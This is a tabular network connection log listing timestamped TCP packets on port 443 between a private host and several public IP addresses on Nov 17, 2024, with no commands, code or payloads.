Nov 17, 2024 12:35:13.872651100 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.872734070 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.872766972 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.872791052 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.872833014 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.993063927 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.993110895 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.993171930 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.993206024 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.993228912 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.993262053 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041132927 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041186094 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041223049 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041256905 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041275978 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041304111 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041599989 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041666031 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041675091 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041733980 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041757107 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041806936 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041836977 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041853905 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041853905 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.041863918 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.041872978 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.073224068 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.073307037 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.074987888 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.075001001 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.076071978 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.077814102 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.078844070 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.078886032 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079027891 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079077959 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079189062 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079247952 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079381943 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079418898 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079577923 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079616070 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079770088 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079807997 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.079827070 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.079965115 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.080010891 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089339972 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.089509964 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089582920 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089592934 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.089597940 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089632988 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.089749098 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089812040 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089852095 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.089921951 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.090009928 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:14.090027094 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:14.133495092 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.133543968 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.133613110 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135061026 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135099888 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135117054 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.135174990 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135190010 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.135251045 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135379076 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135394096 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.135548115 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.135562897 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.136480093 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136523962 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.136564016 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136588097 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136600971 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.136604071 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.136673927 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136756897 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136756897 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136811018 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.136935949 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.136953115 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.866928101 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.867686987 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.867717981 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.868333101 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.868340969 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.868495941 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.868887901 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.868905067 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.869304895 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.869311094 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.875211954 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.875508070 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.875535011 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.876008034 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.876012087 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.877213955 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.877548933 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.877587080 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.877921104 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.877928019 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.883481026 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.883780956 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.883811951 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.884279966 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.884287119 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.900154114 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:14.900194883 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:14.900290012 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:14.900996923 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:14.901019096 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:14.995760918 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.995830059 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.995896101 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.995914936 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.995974064 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996023893 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.996138096 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.996162891 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996177912 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.996184111 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996774912 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996807098 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996862888 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.996872902 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996886015 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.996917009 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.996943951 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.997052908 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.997060061 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.997070074 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.997075081 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.999089003 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999128103 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.999331951 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999381065 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999470949 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.999511957 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999526978 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:14.999556065 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999731064 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:14.999763966 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.011195898 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.011223078 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.011272907 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.011276960 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.011331081 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.011471033 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.011487961 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.011507034 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.011512995 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.013858080 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.013870001 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.013932943 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.014066935 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.014070988 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.014609098 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.014794111 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.014856100 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.014904022 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.014904022 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.014924049 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.014936924 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.017046928 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.017107964 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.017193079 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.017311096 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.017328024 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.021478891 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.021792889 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.021981955 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.021982908 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.021982908 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.024027109 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.024111986 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.024200916 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.024337053 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.024358988 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.330312967 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.330382109 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.732808113 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.733695984 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.733740091 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.734067917 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.734076023 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.742460012 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.742928982 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.742947102 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.743158102 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.743392944 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.743401051 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.743491888 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.743509054 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.744066954 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.744076967 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.746660948 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.747009993 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.747018099 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.747378111 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.747384071 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.759006977 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.759488106 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.759504080 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.760063887 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.760070086 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.862272978 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.862344027 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.862394094 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.862663031 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.862698078 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.862724066 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.862756968 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.867646933 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.867697954 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.867758989 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.868031979 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.868052006 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.872087002 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.872327089 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.872385979 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.872549057 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.872569084 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.872595072 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.872606039 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.873575926 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874281883 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874346018 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.874428988 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.874439955 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874456882 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.874463081 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874479055 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874635935 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.874680042 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.874901056 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.874943018 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.875004053 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.875480890 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.875509024 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.875510931 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.875516891 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.877979040 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.877993107 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.878046036 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.878483057 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.878498077 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.887582064 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.887614012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.887674093 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.888247967 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.888261080 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.890198946 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.890383959 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.890444040 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.893266916 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.893280029 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.893291950 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.893297911 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.898050070 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.898102045 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:15.898163080 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.898391962 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:15.898411989 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.003984928 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.004132032 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.006396055 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.006412983 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.007189989 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.009136915 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.009202003 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.009215117 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.009330988 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.051337957 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.258939981 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.259613037 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.259649038 CET	443	49723	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:16.259689093 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.259701014 CET	49723	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:16.604197025 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.604749918 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.604845047 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.605324984 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.605340958 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.610280037 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.610563040 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.610591888 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.611061096 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.611068010 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.612837076 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.613106012 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.613145113 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.613686085 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.613696098 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.620084047 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.620331049 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.620357990 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.620825052 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.620835066 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.639712095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.639978886 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.640002966 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.640475988 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.640484095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.732181072 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.732343912 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.732579947 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.732580900 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.732675076 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.732719898 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.735680103 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.735728979 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.735816956 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.735975981 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.735995054 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.739165068 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.739415884 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.739581108 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.739634037 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.739649057 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.739660978 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.739665985 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.741895914 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.741938114 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.742006063 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.742117882 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.742130041 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.743851900 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.743951082 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.744031906 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.744121075 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.744148016 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.744173050 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.744184017 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:16.746604919 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:16.746649027 CET	443	49736	13.107.246.45	192.168.2.6
